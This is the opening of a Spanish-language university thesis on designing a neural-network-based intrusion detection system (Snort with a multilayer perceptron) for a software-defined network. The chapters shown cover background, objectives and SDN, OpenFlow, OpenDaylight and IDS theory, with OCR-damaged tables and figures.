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RESUMEN

El presente trabajo de titulacion pretende la implementacion de un Sistema de
Deteccion de Intrusos (Siglas en inglés; IDS) integrado a una red neuronal artificial, como
opcion para mitigar los riesgos de ataques informéaticos que provoquen incremento
inusual en el tréfico (ataques de tipo activos) hacia una Red Definida por Software (SDN).
La cual se apalanca sobre la infraestructura hiperconvergente en el centro de datos de la
Faculta de Ingenieria en Ciencias Aplicadas (FICA) en la Universidad Técnica del Norte,
de esta manera se presenta un nuevo modelo de administracion hacia los dispositivos de

red, lo que acelera los procesos de escalabilidad a un menor costo de infraestructura fisica.

Para comenzar con esta propuesta se realiza un estudio bibliografico del
funcionamiento de la SDN, para determinar el elemento esencial de esta red; de igual
manera con el IDS, para comprender su funcionamiento e indicar como la red neuronal
artificial puede ser integrada. A continuacion se disefian; un escenario de pruebas SDN
dentro de la infraestructura hiperconvergente del data center de la FICA y un Snort+RNA;
denominado asi por ser un IDS (Snort) y tener incorporado un moédulo preprocesador que
incluye la red artificial perceptron multiple capa (MLP). Esta herramienta se caracteriza
por permitir al IDS operar sin la necesidad de configurar reglas para la deteccion de
anomalias, a parte genera alertas ante ataques de tipo activos y presentar un registro del
trafico capturado al finalizar cada andlisis, en €l se encuentran las variables bajo las que

el sistema detecta las anomalias.

El Snort+RNA se puso a prueba con la ayuda del modelo PDCA (Siglas en inglés;

Plan, Do, Check, Act) que ofrece el estandar ISO/IEC 27001 y de los procesos
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proporcionados por el circulo hacker. Los resultados muestran que Snort+RNA detecta
las anomalias que provocan los ataques de tipo activo en contra de la SDN, esto es visible
tanto en las alertas generadas como en el registro del trafico capturado, no obstante, no le
es posible analizar todos los paquetes que recibe por parte de ataques de DoS puesto que
cierto paquetes se quedan en espera 0 son rechazados. Demostrando asi, que aunque el
sistema no analiza todos los paquetes que circulan por la red, si se encarga de proteger a
la SDN al brindar sus alertas cuando terceros la intentaron vulnerar con ataques que

ocasionaron incremento en el trafico de la red.



SNVERs,

\
<875

UNIVERSIDAD TECNICA DEL NORTE

FACULTAD DE INGENIERIA EN CIENCIAS APLICADAS

ABSTRACT

This degree work aims to implement an Intruder Detection System (Acronym in
English; IDS) integrated into an artificial neural network, an option to mitigate the risks
of computer attacks that cause an unusual increase in traffic (active type attacks) to a
Software Defined Network (SDN). Which is leveraged on the hyperconverged
infrastructure in the data center of the Facultad de Ingenieria en Ciencias Aplicadas
(FICA) at the Universidad Técnica del Norte, in this way, a new management model is
presented towards network devices, which accelerates scalability processes at a lower

cost of physical infrastructure.

To start with this proposal a bibliographic study of the operation the SDN is
carried out, to determine the essential element of this network; in the same way with the
IDS, to understand its operation and indicate how the neural network can be integrated.
They are then designed; an SDN test scenario within the hyperconverged infrastructure
of the FICA data center and a Snort+RNA,; so called because it is an IDS (Snort) and has
a built-in preprocessor module that includes the artificial network Multiple Layer
Perceptron (MLP). This tool is characterized by allowing the IDS to operate without the
need to configure rules for the detection of anomalies, besides generating alerts against
active attacks and presenting a record of the traffic captured at the end of each analysis,

it contains the variables under which the system detects anomalies.

The Snort+RNA was tested with the help of the PDCA (In English; Plan, Do,
Check, Act) model offered by the standard ISO/IEC 27001 and the processes provided

by the hacker circle. The results show that Snort+RNA detects the anomalies that cause
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active attacks against the SDN, It is visible both in the alerts generated and in the record
of the captured traffic, however, it is not possible to analyze all the packets that it receives
from DoS attacks since certain packets are put on hold or are rejected. Demonstrating
that, although the system does not analyze all the packets that circulate through the
network, it is in charge of protecting the SDN by providing its alerts when third parties

tried to violate it with attacks that caused an increase in network traffic.
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CAPITULOI.

ANTECEDENTES
Tema

DISENO DE UN SISTEMA DE DETECCION DE INTRUSOS (IDS), BASADO
EN REDES NEURONALES PARA UNA RED DEFINIDA POR SOFTWARE (SDN)
EN LA FACULTAD DE INGENIERIA EN CIENCIAS APLICADAS (FICA) DE LA

UNIVERSIDAD TECNICA DEL NORTE.
Problema

En los ultimos afos el uso de las redes definidas por software (SDN) ha permitido
a las organizaciones acelerar la implementacion y la distribucion de aplicaciones
reduciendo drasticamente los costos de Tl (Tecnologia de la Informacion) mediante la
automatizacion del flujo de trabajo (Cisco, 2019b). El Centro de Datos de la Facultad de
Ingenieria en Ciencias Aplicadas de la Universidad Técnica del Norte ya emplea este tipo
de red, sin embargo se ha dejado de lado la parte de seguridad de informacion, misma que
podria llegar a presentar problemas en el futuro, ya que como cualquier tipo de red, esta
propensa a ataques de terceros, (Ashraf & Latif, 2016) mencionan a dos tipos de ataques
los activos, que se caracterizan por presentan anomalias en la red al generar gran flujo de
datos en esta; y los pasivos, que a diferencia del anterior pasan desapercibidos, puesto

gue estos ataques son usados para robar los privilegios de usuarios en la red.

El Centro de Datos de la Facultad de Ingenieria en Ciencias Aplicadas envia y
recibe un gran nimero de paquetes a través de la red diariamente y es por eso, que se optd
por el disefio de la SDN (Red Definida por Software) para una mejor administracion,
mientras que para el area de seguridad de informacion que es algo que adn no se ha

tomado en cuenta, existen los Sistemas de Deteccidn de Intrusos (IDS).



Las IDS son considerados como una herramienta para reforzar un sistema de
seguridad, para esto existen dos metodologias, una es llamado Abusos y la otra es
conocida como Anomalia. La primera se encarga de comparar patrones de ataques o
firmas, mismos que son indicadores de cuando pueden presentarse alguna penetracion a
la red. Sin embargo, con el pasar del tiempo aparecen nuevos tipos ataques, haciendo
vulnerable esta metodologia ya que, si el ataque no se encuentra entre los patrones, no
sera detectado por el IDS. Mientras que el segundo podria reemplazar el problema de los
patrones de ataques ya que esta trabaja con perfiles de comportamiento de la red, es decir,
si la red presenta cambios de los cuales no se encuentran registrados en los perfiles, el
sistema lo detectara como anomalia, haciéndolo efectivo contra los nuevos tipos de
ataques que puedan existir, estos perfiles son creados de forma manual conforme la red

tenga cambios, convirtiendo esto en una falencia para esta metodologia. (Luna, 2015)

Para disminuir la falencia de esta Gltima metodologia se propone un Sistema de
Deteccidn de Intrusos (IDS) basado en redes neuronales la cual se encargara de crear los
perfiles de comportamiento de la red de manera autbnoma y en caso de detectar algin
cambio indeseado, este sistema pueda enviar las alertas de las anomalias que ocurran en
la red, cubriendo asi también el area de la seguridad en las Redes Definidas por Software

para el Centro de Datos de la FICA.

Segun (Lau Fernandez & Iren, 2017) las redes neuronales son una de las técnicas
gue ha presentado amplias ventajas en la aplicacion dirigida a los Sistemas de Deteccion
de Intrusos. Al trabajar prediciendo resultados en funcion a los datos que ingresan en el
clasificador neuronal, es asi, que para este tipo de sistemas bastara con ingresar los datos
correctos y se encargara de predecir el perfil mas adecuado al comportamiento de la red,

evitando asi futuros ataques mediante las alertas que el IDS envié.



Objetivos

Objetivo General.

Disefiar un Sistema de Deteccion de Intrusos (IDS), basado en redes neuronales
en una Red Definida por Software (SDN), para evitar futuros ataques de tipo activos con

la guia del estandar de seguridad ISO/IEC-27001.
Objetivos Especificos.

Estudiar el estado del arte de las redes neuronales, las influencias en los Sistemas
de Deteccion de Intrusos (IDS) y los distintitos modos de ataque de tipo activo que

presentan anomalias en una red.

Establecer la situacion actual, ademas de elaborar un escenario basado en una Red
Definida por Software en el Centro de Datos de la Facultad de Ingenieria en Ciencias

Aplicadas (FICA) con sus pruebas de funcionamiento.

Realizar los perfiles de comparacion del Sistema de Deteccion de Intrusos (IDS)
usando las redes neuronales basados en las anomalias que puedan presentarse en la Red

Definida por Software (SDN).

Realizar las pruebas de funcionamiento del Sistema de Deteccion de Intrusos
(IDS) basado en redes neuronales, haciendo ataques de tipo activos con la guia del

estandar de seguridad 1ISO/IEC-27001.
Alcance

El presente proyecto propone cubrir el campo de la seguridad de la informacion,
con un Sistema de Deteccion de Intrusos basado en redes neuronales, para las Redes
Definidas por Software de la Universidad Técnica del Norte dirigidos al Centro de Datos

de la Facultad de Ingenieria en Ciencias Aplicadas.



Lo primero que se realizara en el proyecto es la fundamentacion tedrica de las
redes neuronales, los Sistemas de Deteccion de Intrusos y las Redes Definidas por
Software, ademas de un estado del arte que existen de las redes neuronales y su relacion
con los IDS para la prevencion de ataques a la red, indicando el cdmo estas disminuyen
las falencias que presentan los Sistemas de Deteccion de Intrusos enfocando
principalmente en los ataques de tipo activos, mismo que son identificados por presentar
anomalias en las redes, y como estos sistemas se han implementado en las SDN, para que
de esta manera se pueda elegir el tipo de red neuronal, al igual que su respectivo software,

siendo estos los que mas se adecuen al proyecto propuesto.

La implementacion del IDS serd en una Red Definida por Software (SDN),
haciendo uso de los modulos que esta contiene para la virtualizacion de dispositivos,
misma que servira para el disefio de un escenario en el Centro de Datos de la Facultad de
Ingenieria en Ciencias Aplicadas en la Universidad Técnica del Norte, especificando los

elementos de los cuales constara la red tanto en software como en hardware.

Los IDS trabajan con perfiles de comparacion, para el disefio de estos perfiles de
comportamiento se hara uso de las redes neuronales, mismas que estas estaran formadas
con los datos necesarios que se obtendran de la captura del tréfico de la SDN tanto en su

estado normal como cuando presente anomalias.

Finalmente, con IDS basado en redes neuronales funcionando se hara una
verificacion de su estado, con ataques de tipo activos, para que posteriormente el sistema
alerte acerca de las anomalias en la SDN que presenten estos, haciendo uso de las politicas
de seguridad que ofrece el Estandar ISO/IEC-27001 y de ser necesario, reconfigurando

el sistema para asi mejorar este estado de verificacion.



Justificacion

Con el pasar del tiempo la cantidad de flujo de datos que viaja a traves de la red
ha aumentado exponencialmente, haciendo mas dificil su administracion al requerir
nueva tecnologia que lograr su propdsito, estos incremento de flujo de datos también ha
provocado que la informacion tenga un valor primordial para los usuarios ya que esta
puede contener datos que son esenciales para el correcto funcionamiento de una entidad

de cualquier indole, llegando a ser tan importantes que terceros quieran hacerse con estos.

La Red Definida por Software (SDN) ha surgido en los dltimos afios con el fin de
solucionar los problemas de administracion de red ya que este término se refiere a que
esta arquitectura permite separar el plano de control, del plano de datos, para conseguir

redes mas programables, automatizables y flexibles (Sandoval, 2018).

Todo tipo de red por mas actual que esta sea tiene vulnerabilidades, de las cuales
se pueden aprovechar los hackers para obtener informacion, para evitar esto existen varias
soluciones (Luna, 2015) y una de ellas son los Sistemas de Deteccién de Intrusos (IDS),
su funcionamiento consiste en detectar o0 monitorizar eventos dentro de un equipo 0 a una
red en busca de accesos no autorizados (Carrera, Castillo, & Quizhpi, 2011). La
desventaja que presentan estos sistemas es que para que puedan detectar alguna anomalia
necesitan de un perfil de comportamiento de la red para su comparacion el cual debe ser

programado manualmente y debe cambiar cada vez que la red cambie.

Es asi como, el presente proyecto propone el disefio de un Sistema de Deteccidn
de Intrusos (IDS) basado en redes neuronales, las redes neuronales se encargaran de
realizar los perfiles de comparacién prediciendo los cambios que tendra la red, haciendo
mas facil la adaptabilidad del IDS a cualquier escenario, la verificacion de este sistema
se lo hara con ataques de tipo activos, ademas de ser guiados por el Estandar de Seguridad

ISO/IEC-27001.



CAPITULO 2.

FUNDAMENTACION TEORICA

En este capitulo se realiza un estudio bibliografico acerca de la arquitectura que
compone una Red Definida por Software (SDN), ademas de los protocolos de
comunicacion que se utilizan, con el fin de implementar un Sistema de Deteccion de
Intrusos (IDS) el cual se describira en esta seccion, desde su clasificacion, métodos de
respuesta, ademas de las posibles ubicaciones dentro de una red. Este IDS estard
compuesto por perfiles realizados con redes neuronales explicando asi de forma basica su
funcionamiento para finalmente detallar el estandar 1SO/IEC 27001, el cual brinda una

guia en la seguridad de la informacion.
2.1. Red Definida por Software (SDN)

De acuerdo con Open Networking Foundation (2020) una SDN se define como
una arquitectura que “desacopla el control de red y las funciones de reenvio. Permitiendo
que el control de la red se vuelva directamente programable y que la infraestructura
subyacente se abstraiga para las aplicaciones y los servicios de red”. Sin embargo, Cisco
(2019b) dice que una SDN es disefiada con la finalidad de que las redes de datos sean
mas flexibles y agiles, es decir, una SDN puede: disefiar, construir y administrar redes,

todo esto manteniendo separados los planos de control y de datos.

2.1.1. Arquitectura SDN.

La arquitectura de una SDN esta compuesta por tres capas conocidas como: Aplicacion, Control y Capa
de Infraestructura; las cuales se detallan en la Figura 1 Figura 1. Arquitectura basica de red basada en
SDN.

(Sahoo, Mohanty, Tiwary, Mishra, & Sahoo, 2016).
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Figura 1. Arquitectura bésica de red basada en SDN.

Fuente: (Lakshmanan, 2018). Recuperado de https://bit.ly/2CyFJv;j.
a. Capa de Aplicacion

La Capa de Aplicacion se encuentra dedicada a los usuarios finales al estar
compuesta de aplicaciones y servicios encargados de definir el comportamiento de la
SDN. Otra cualidad que la identifica es la comunicacion que posee con la capa de Control
a través de Interfaces hacia el Norte (NourthBound), un ejemplo de esta es la APl Rest

(Caicedo B & Ldpez S, 2017; Sahoo et al., 2016).

Las aplicaciones de esta capa pueden cubrir ciertas zonas como lo menciona
Krishnan, Duttagupta, & Achuthan (2020), las cuales son: Ingenieria de trafico, Medicion
y monitoreo, y Seguridad; cada una las zonas mencionadas se describen en el siguiente

apartado.

La Ingenieria de Trafico tiene como objetivo: analizar, regular y predecir el
comportamiento de los datos en la red. Ademas, optimiza el rendimiento de la red
conforme a los Acuerdos de Niveles de Servicio (SLA) que se encuentren establecidos.
Mientras que la Medicién y monitoreo se encargan de preparar al sistema para algin

cambio de flujo en la red; a través de la medicion de trafico realizado con técnicas de



muestreo y estimacion, disminuyendo de esta manera la carga en el plano de control.
Finalmente, la zona de Seguridad cuida las tres capas de la SDN usando su flexibilidad

para establecer politicas que salvaguarden la informacion de la red.

En el caso de la zona de seguridad se toma como ejemplo a la aplicacién
Defense4All, tal como se presenta en la Figura 2; donde da a conocer la interaccion que
tiene esta aplicacion con el controlador OpenDaylight y como ayuda en la mitigacion de

ataques DoS/DDoS segun menciona Radware (2020).

Defense4All NB AP
(REST, CLI)
[ DefensedAll J
ODC NB API
(REST)

AMS
Specific
API

.

cneEIﬁ g‘i‘{i:;gﬁon ' i Servers

s + 1+ systems H '

T L 2 :

[;lg i : : @
L \/\SD_“/'/ :

......................

Figura 2. Aplicacion DDoS OpenDaylight

Fuente: (Stalling, 2016)

b. Capa de Control

La Capa de Control, es considerada la méas importante de la arquitectura SDN
puesto que gestiona a la capa de aplicacion y la capa de infraestructura, en esta se
proporcionan el control del comportamiento y los recursos del sistema mediante

indicaciones que se envian a la capa aplicacion. Otra peculiaridad de esta capa es el



manejo de la interfaz NorthBound asi como también la interfaz hacia el Sur (SouthBound)

(Albowarab, Zakaria, & Abidin, 2018; Oladunjoye, 2017).

La Figura 3 ejemplifica las funciones que se realizan en esta capa y que cualquier
controlador debe proporcionar, teniendo en cuenta que cada una de las funciones tiene

relacion directa con las diferentes interfaces, tal como se sefiala en la Tabla 1 (Stalling,

2016).
Northbound Interface (e.g., REST)
. J
[ Shortest Path Notification Security
Forwarding Manager Mechanisms
Topology Statistics Device
Manager Manager Manager
Southbound Interface (e.g., OpenFlow)
- J
Figura 3. Funciones e Interfaces del Plano de Control
Fuente: (Stalling, 2016)
Tabla 1

Funciones del Controlador SDN

Funcion Descripcién Interfaz
Shortest path Utiliza la informacion de los switches para
forwarding establecer las rutas preferidas.
- Reglbe,_ procesa y reenvia eventos a las Northbound
Notification Manager  aplicaciones, tales como cambios de estado Interface
y alarmas de seguridad.
Security Mechanisms Prqpor(;lonan y seguridad entre
aplicaciones y servicios.
ponstruy_e,y mantiene la topplogla con ’Ia Southbound
Topology Manager informacion que mantiene la interconexion Interface

de switches.
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. Recoge datos sobre el trafico mediante la

Statsitics Manager ! - .
informacion de los switches.

Configura los switches, sus pardmetros y

Device Manager atributos, ademas de gestionar las tablas de

flujos.

Fuente: (Stalling, 2016)

Al igual que toda red de comunicacion, una SDN también necesita una funcion de
Enrutamiento (Routing), quien se encarga de aprender rutas para encaminar los datos e
informacion a través de la red. Oladunjoye (2017) sefiala dos tipos de protocolos de
enrutamiento: Los Protocolos de Enrutamiento Interno (con sus siglas en inglés IRP) y

los Protocolos de Enrutamiento Externo (con sus siglas en inglés ERP).

El primer tipo, los IRP, operan dentro de un Sistema Auténomo (conocido como
AS); mientras que el segundo tipo, es decir, los ERP; trabajan entre Sistemas Autonomos.
Es asi que una Red Definida por Software centra la funcion de enrutamiento dentro de la
capa de Control, desarrollando una vision del estado de la red para el cdlculo de las rutas
mas cortas adicionalmente la aplicacién de politicas de enrutamiento basados en
aplicaciones, mejorando el rendimiento de los switch ya que estos no tendran la carga de

procesamiento y almacenamiento que tiene que ver con el enrutamiento (Stalling, 2016).

Dentro del enrutamiento existen a su vez dos funciones mas que se encargan que
este cumpla con su cometido, dichas funciones son: el descubrimiento de enlace y el
gestor de topologia. EI Descubrimiento de Enlace es provocado por el trafico desconocido
que entra en la red del Controlador, ya sea desde un host conectado o desde algun router
de redes vecinas. Mientras que en el Gestor de Topologia involucra a la actualizacién
constante del estado de la red para el calculo de rutas, estableciendo asi el camino més
corto entre dos nodos de la capa de Infraestructura o un nodo y un host (Oladunjoye,

2017; Stalling, 2016).
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c. Capa de Infraestructura

Por ultimo, esta la Capa de Infraestructura, en aquella se centran los elementos
fisicos de la red (hardware), los que se encargaran del transporte y procesamiento de la
informacién (enrutamiento) segin como se haya indicado en la capa de control; esta
trabaja con interfaces southbound (Bhushan & Gupta, 2019; Blial, Ben Mamoun, &

Benaini, 2016).

Las funciones en las que se centran los dispositivos de red de la capa de
infraestructura son: funcion de apoyo de control y funcién de reenvio de datos. La
primera, la Funcion de Apoyo de Control consiste en la interaccion con la capa de control
a través de interfaces. Aqui, el switch se comunica con el controlador y lo gestiona
mediante el protocolo OpenFlow. Mientras que la segunda funcién, la Funcion de
Reenvio de Datos acepta el flujo de datos que proviene de otros dispositivos de red y
sistemas de extremo, a lo largo de los caminos de reenvio que han sido calculados y
establecidos de acuerdo con las reglas que definieron las aplicaciones SDN (Blial et al.,

2016; Krishnan et al., 2020).

Otra cualidad que cabe mencionar en esta capa, son los protocolos bajo los que
operan sus dispositivos de red, ya que consisten en flujos de paquetes IP. Al examinar el
encabezado IP y posiblemente otras cabeceras de cada paquete; se puede mencionar
protocolos tal como: a TCP, UDP u otro protocolo que sea de transporte o aplicacion;
basado en esto, se decide la ruta de reenvio (Stalling, 2016); lo ya mencionado en el

presente acapite se grafica en la Figura 4.
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Control flows (e.g., OpenFlow PDUs:

OpenFlow/TLS/TCP/IP)
Southbond
API logic
Input queue Input queue
< »| LLITIILT] LTTTTTTT | >
Data packet flows: | CLLILILLI CLLITITTT | pata packet flows:
TCP/P or UDP/P | Ouiputqueue  Zotere Ouleutaueue | epp or uDP/P
or other/IP tables or other/IP
Forwarding logic
(dispatching logic)

Figura 4. Dispositivos en Capa de Infraestructura

Fuente: (Stalling, 2016)
2.1.2. Interfaces del controlador SDN.

Como ya se menciond en el apartado b de la seccién 2.1.1, el controlador permite
la interaccidn entre las capas de una SDN, dicha interaccién es ocasionada por ciertas
interfaces que se usan dependiendo de la direccion en la que viaje la informacién. Sahoo
et al. (2016) menciona a dos clases de interfaces ya citadas que llevan a cabo la
comunicacion entre capas, llamadas; interfaz Northbound e interfaz Southbound. Sin
embargo, E. Pérez (2018) nombra una tercera interfaz conocida como interfaz de
protocolos East/Westbound; cada una de las interfaces mencionadas se ilustran en la

Figura 5 y son puntualizadas de mejor manera después de este apartado.
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Figura 5. Interfaces de Controlador SDN
Fuente: ( Stalling, 2016)

La Northbound es dedicada unicamente a la comunicacion entre las capas de
aplicacion y control, con el propdsito de que los desarrolladores de aplicaciones puedan
administrar la red a través de software y de esta forma se programen las funciones que
debe cumplir cada dispositivo. En contraste con la interfaz anterior, la Southbound crea
un canal que permite interactuar a las capas de control e infraestructura. Este canal es
creado mediante el protocolo OpenFlow (detallado en la seccion 2.1.3), ofreciendo una

comunicacion segura entre el controlador y los dispositivos de la infraestructura (Sahoo

etal., 2016).

En lo que respecta a la interfaz de protocolos East/Westbound, es usada en casos
especiales, es decir, cuando una arquitectura SDN presenta multiples controladores; dicha

interfaz facilita la comunicacion entre varias arquitecturas SDN (E. Pérez, 2018).
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2.1.3. OpenFlow.

Open Networking Foundation (2020) menciona que el protocolo OpenFlow se
estandarizo por la Open Networking Foundation (ONF) en el afio 2012 y Cisco (2019a)
lo define como una infraestructura de reenvio que se basa en el flujo y en una Interfaz de
Programacion de Aplicaciones (API), ademas, crea un canal seguro entre el controlador
y los dispositivos para el reenvio de funciones desde la capa de aplicacion hacia la capa

de infraestructura.

El funcionamiento del protocolo estd basado en que un controlador I6gico puede
administrar a un switch OpenFlow y cada switch compatible con éste; con la ayuda de
una o mas tablas de flujo. Las tablas de flujo son las encargadas de la bdsqueda de los
paquetes, considerando ciertas medidas o reglas con respecto a su reenvio (Denazis, Hadi

Salim, Meyer, & Koufopavlou, 2015).
2.1.3.1. Arquitectura del OpenFlow.

La arquitectura de OpenFlow consta de maltiples conmutadores, aquellos estan
compuestos por un canal seguro y tablas de flujo, ademas de ser administrados por
controladores (E. Pérez, 2018); y ambos elementos, tanto conmutador como controlador
son OpenFlow y se comunican a través del protocolo que lleva su mismo nombre; toda
esta arquitectura es representada en la Figura 6. Cabe destacar que cada uno de los

componentes referidos en este apartado se detallan en los siguientes acapites:



a)

b)
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PROTOCOLO 4
OPENFLOW ”

r
CANAL P

SEGURO - ooumaneR
I

TABLA DE

FLUJOS

R

| -y

CONMUTADOR
OPENFLOW

Figura 6. Arquitectura basica de OpenFlow.
Fuente: (Yagles, 2015)

Definicion de un flujo
Dentro del tréfico de red, un flujo se entiende como el paso de informacién ya sea;
a través del Protocolo de Control de Transmisiéon (TCP), mediante paquetes con
direcciones MAC o IP, paquetes con etiquetas de Red de Area Local Virtual
(VLAN), entre otros (E. Pérez, 2018).
Conmutador OpenFlow
Un conmutador OpenFlow esta compuesto por una o varias tablas de flujo y una
tabla de grupo, con el propdsito de crear un canal seguro, al utilizar el protocolo
Openflow, el controlador gestiona a los conmutadores OpenFlow que se
encuentren habilitados. Dentro existen tablas conformadas por entradas de flujo y
estas a su vez se dividen en tres campos: encabezado, contadores e instrucciones;
siendo las dltimas usadas para asignar coincidencias a los paquetes (Pereira &
Gamess, 2017; E. Pérez, 2018).
Canal OpenFlow o Canal Seguro
En conformidad a lo explicado en el literal b de este apartado, el canal Openflow

permite una comunicacion protegida entre los conmutadores OpenFlow vy el
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controlador, a esta se la conoce como canal seguro ya que utiliza una encriptacion
de Seguridad de Capa Transporte (TLS) aparte de operar directamente sobre el
Protocolo de Control de Transmisién (TCP); dentro del protocolo se admiten
mensajes categorizados como: de controlador a conmutador, asincronico y
sincronico (Yazdinejad, Bohlooli, & Jamshidi, 2018). Las categorias ya
nombradas se especifican en el siguiente inciso.

Los mensajes de controlador a conmutador se caracterizan porgue inician en el
controlador y son usados para administrar informacién acerca del estado del
conmutador. Por otro lado, los mensajes asincronicos, son iniciados por el
conmutador con el objetivo de actualizar al controlador con eventos de la red o en
caso de que haya algun cambio en el conmutador. Mientras que los mensajes
sincronicos pueden ser iniciados tanto por el conmutador como por el controlador
sin necesidad de solicitud previa (E. Pérez, 2018).

d) Controlador OpenFlow

La funcion primordial de este componente es gestionar las tablas de flujos de los
conmutadores, ya sea agregando o eliminando entradas de flujo. El tener varios
controladores genera redundancia e incrementa la confiabilidad de la
infraestructura, dado que si algin controlador deja de funcionar otro lo

reemplazard y asi esta continuara operando con normalidad (Stalling, 2016).
2.1.3.2. Evolucion del protocolo OpenFlow.

La Tabla 2 sintetiza las versiones del protocolo OpenFlow que han ido
evolucionando con el pasar de los afios. Yazdinejad et al. (2018) expone una tabla que
contiene las caracteristicas que cada version, desde la 1.0 hasta la 1.4, incluido su fecha
de lanzamiento, el nimero de campos que contiene, ademas de la cantidad de tabla de

flujos y si tiene o0 no la capacidad de brindar una comunicacién con varios controladores.



Tabla 2

OpenFlow (OF) campos de comparacion.

17

Comunicacion

Versiones Fecha de T:Q eg;) (Sr? Tabla de flujos simultanea con Caracteristicas
de OF lanzamiento cabgcera ] multiples
controladores
OF v1.0 Diciembre 12 Unica tabla de No Soporta una sola tabla de flujo, comparacion fija, campos de comparacion
' 2009 flujos L2y L3 (IPv4)
OF V11 Febrero 2011 15 Multlple tabla No Multiples tablag, soporta_l\_/IPLS, V_LA[\!, unlcast_— multicast, Grupo de
de flujos tablas, puerto virtual, habilita la aplicacion de acciones
Diciembre Madltiple tabla . Mudiltiples controladores, campos de comparacion IPv6, cambio de roles,
OFv1.2 36 - Si . ) S .
2011 de flujos maés flexible en comparacion y reescritura
Mltiole tabla Si, habilitado Multiples canales paralelos entre el conmutador y el controlador, soporta
OF v1.3 Abril 2012 40 P conexiones 802.1ah PBB, QoS, capacidad y negociacion de versiones, filtro de
de flujos o o
auxiliares eventos, entrada de tabla omitida
- Si, habilitado - iy .
OF v1.4 Agosto 2013 41 Multlple tabla Conexiones S_oporta_ puertos optlcos, desarr_ollo y evolua_on gradual, flujo de tabla
de flujos auxiliares sincronizado, monitoreo, desalojo, tabla de salida, paquete programado

Fuente: Adaptado de (Yazdinejad et al., 2018)
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2.1.4. Software para Controladores.

El controlador dentro de la SDN es la capa que mantiene en armonia a toda su
arquitectura, es decir, brinda una comunicacion entre capas, Bholebawa & Dalal (2018)
define al controlador SDN como el “cerebro” de la red, porque a través de sus distintas
interfaces, envia y recibe informacion de las demés capas. Siendo el controlador un
software que se adecua facilmente con las necesidades del administrador de la red; se lo
puede encontrar tanto de forma comercial como gratuita (Cédigo abierto). En la Tabla 3
se describen algunos de los controladores realizados con codigo abierto, sefialando
también el lenguaje de programacion en el que fueron disefiados, todas las caracteristicas
aqui mencionadas se mantienen en la actualidad, sin presentar ningin cambio desde su

creacion (Quincozes et al., 2019).

Tabla 3

Lista de controladores OpenFlow.

Nombre del controlador Lenguaje de programacién  Proveedor de licencias

EPL-1.0. (Licencia

OpenDaylight Java plblica Eclipse)
ONOS Java Apache
Ryu Python Apache
Floodlight Java Apache
Faucet Python Apache

Fuente: Adaptado de (Bholebawa & Dalal, 2018; Pereira & Gamess, 2017)

2.1.5. OpenDaylight.

El proyecto OpenDaylight es de codigo abierto, organizado por la Fundacién
Linux en el afio 2013 (Lovato, 2019). Ademas, incorpora la participacién de las
principales organizaciones de redes; incluidos, los usuarios de la tecnologia SDN y

vendedores de productos SDN; el enfoque de este es permitir a los participantes de la
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industria a unirse para el desarrollo de modulos basicos afiadiendo asi un valor Gnico

(OpenDaylight, 2019).

La Figura 7 plantea una vista de la arquitectura de OpenDaylight, mostrando las

cinco capas logicas de las que esta compuesta segun (Stalling, 2016).

Network pm——————— : TN
applications, | User I Network applications,
orchestration, : interfaces : orchestration, and services
and services - === v
OpenDaylight APIs (REST, OSGi)
ere— 5
Controller [ ! >
functions & Netnrl?‘r;(ﬂzz;vice P‘I:Slo'm | Extensions | - Q
services Sorvicesiy ! : g
________ s (o)
Southbound Service Abstraction Layer (SAL)
e N,
protocols | “otherstandards |} | vendor-specific |
OPSRFIOW " | (ONFIETF..) ! __ ieraces 1
Data plane - 2 n
elements (virtual S S />
switches, physical l <_> \— l,_> \— <_> N=y

device interfaces)

Figura 7. Arquitectura OpenDaylight

Fuente: (Stalling, 2016)

A través de la Tabla 4, se definen las cinco capas logicas planteadas en la figura
anterior, con el fin de entender la funcion que cumplen cada una de ellas dentro de

OpenDaylight.

Tabla 4

Capas Logica en OpenDaylight

Capa Légica Definicion

. . Son aplicaciones que usa el controlador para
Aplicaciones de red, orquestacion y . : X
L reunir algoritmos, analizar la red y luego
servicios . .
orquestar una nueva normativa, a través de la red

Es un conjunto de interfaces similares a las
Interfaz de Programacion de Aplicaciones funciones del controlador OpenDaylight,

(APIs) brindando una comunicacidn entre el controlador
y las aplicaciones.

19



20

Funciones y servicios de la capa de Control de

Funciones y servicios del Controlador una SDN.

Proporciona una vista uniforme de los recursos en
la capa de infraestructura, de modo que las
funciones de la capa de control se implementen
independiente de las interfaces y el protocolo.

Capa de Servicio de Abstraccion (SAL)

Soportes OpenFlow y otros protocolos estandar

Interfaces y protocolos Hacia el Sur hacia el Sur.

Fuente: (Stalling, 2016)

2.2. Sistema de Deteccion de Intrusos (IDS)

Un IDS es una herramienta que puede utilizarse en conjunto con otras similares,
como es el caso del firewall, brindando asi seguridad a los activos de informacion que
posee una organizacion ya sea privada o publica, ademas permite una implementacion
tanto en software como hardware; las ventajas que presenta el primero es su flexibilidad,
ademas de brindar un mayor control y facilitar su actualizacion, en contraste con el de
hardware que ya tiene sus caracteristicas predefinidas. Otro rasgo que caracteriza a los
IDS es: monitorear y detectar cuando una red o host esta siendo atacado por alguna
persona mal intencionada y dependiendo de cémo esté administrado; envia una alerta de
ataque al personal encargado de la red o realiza acciones para contrarrestar el ataque (Iren

etal., 2017; Tayyebi & Bhilare, 2018).

IDS
- 0@/
|
R R
Fuentes de Estrategias Tipo de
Informacion de Analisis Respuestas
[ | [ | [ |
Basado en Basado en : 8 . . .
Host " Uso indebido Anomalia Pasiva Activa
S/ S/ s s s /A

Figura 8. Diagrama de la estructura de un IDS

Fuente: (Iren et al., 2017)
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2.2.1. Clasificacion de las IDS.

Segun Carvajal (2015) & Iren et al. (2017) un IDS se clasifica en tres grupos; por
su fuente de informacion, dependiendo de las estrategias de analisis y mediante los tipos
de respuesta, tal y como se grafica en la Figura 8, en donde se exhibe el diagrama de

estructura de un IDS.

La fuente de informacidn hace referencia al lugar en el que se enfocara el IDS,
puede ser a un host en especifico, tomando asi el nombre de Host Intruder Detection
System (HIDS) o a una red en general, en cuyo caso se denomina Network Intruder

Detection System (NIDS) (Iren et al., 2017; Vallejo, 2018).

En tanto que, si se lo clasifica por su estrategia de analisis, el método que usa el
IDS para determinar si se presentd o no alguna intrusion, requiere que el sistema haya
obtenido informacién previa. Kairi (2017) propone dos estrategias; la primera es la

deteccidn del mal uso o uso indebido y la segunda es la deteccion de anomalias.

Para la deteccion del uso indebido es necesario contar con una base de datos con
los tipos de ataques de los que la red puede ser victima, y de ataques que ya han sido
realizados hacia la red, debido a que esta estrategia se basa en la comparacion de la
informacidn recopilada y los patrones que estén almacenados en su base de datos, esta es
